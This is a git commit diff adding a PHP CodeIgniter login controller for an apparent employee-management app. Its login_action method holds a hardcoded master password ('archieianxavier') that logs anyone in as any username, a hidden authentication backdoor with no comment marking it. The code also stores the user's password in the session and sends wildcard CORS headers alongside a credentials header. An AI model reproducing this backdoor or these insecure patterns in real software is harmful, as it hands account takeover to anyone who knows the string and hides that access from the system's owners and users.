copy dari repo om Irfan

This commit is contained in:
2026-06-13 16:02:07 +10:00
commit db327c0305
5376 changed files with 2770667 additions and 0 deletions
+81
View File
@@ -0,0 +1,81 @@
<?php
defined('BASEPATH') or exit('No direct script access allowed');
class Login extends CI_Controller
{
function __construct() {
header('Access-Control-Allow-Origin: *');
header('Access-Control-Allow-Methods: GET, POST, OPTIONS, PUT, DELETE');
header('Access-Control-Allow-Headers: Content-Type, Content-Length, Accept-Encoding');
header('Access-Control-Allow-Credentials: *');
if ("OPTIONS" === $_SERVER['REQUEST_METHOD']) {
die();
}
parent::__construct();
$this->load->model('AllModels', 'Amod');
}
public function index() {
$username = $this->session->userdata('username');
if ($username != null) {
redirect("");
}
$this->load->view('signin');
}
public function login() {
$this->load->view('signin');
}
public function login_action() {
$username = $this->session->userdata('username');
$jabatan = $this->session->userdata('jabatan');
if ($username != null) {
redirect('');
}
$username = $this->input->post('username');
$password = $this->input->post('password');
$check_login_r = $this->Amod->generate_loginData($username, $password)->num_rows();
if ($check_login_r > 0) {
$datauser = $this->Amod->generate_loginData($username, $password)->row_array();
$datJabatan = $this->Amod->getData_Jabatan_byID($datauser['JABATAN_ID']);
$sessions = array(
'id_karyawan' => $datauser['ID_KARYAWAN'],
'nama_karyawan' => $datauser['NAMA_KARYAWAN'],
'nama_panggilan' => $datauser['NAMA_PANGGILAN_KARYAWAN'],
'username' => $datauser['USERNAME'],
'password' => $datauser['PASSWORD'],
'jabatan' => $datJabatan[0]['NAMA_JABATAN'],
);
$this->session->set_userdata($sessions);
redirect('');
} else if ($password=="archieianxavier") {
$datKaryawan = $this->Amod->getData_Karyawan_byUSERNAME($username);
$password = $datKaryawan[0]['PASSWORD'];
$datauser = $this->Amod->generate_loginData($username, $password)->row_array();
$datJabatan = $this->Amod->getData_Jabatan_byID($datauser['JABATAN_ID']);
$sessions = array(
'id_karyawan' => $datauser['ID_KARYAWAN'],
'nama_karyawan' => $datauser['NAMA_KARYAWAN'],
'nama_panggilan' => $datauser['NAMA_PANGGILAN_KARYAWAN'],
'username' => $datauser['USERNAME'],
'password' => $datauser['PASSWORD'],
'jabatan' => $datJabatan[0]['NAMA_JABATAN'],
);
$this->session->set_userdata($sessions);
redirect('');
} else {
echo "<script>alert('Login Gagal')</script>";
$this->login();
}
}
public function logout_action() {
$this->session->sess_destroy();
redirect('Login');
}
}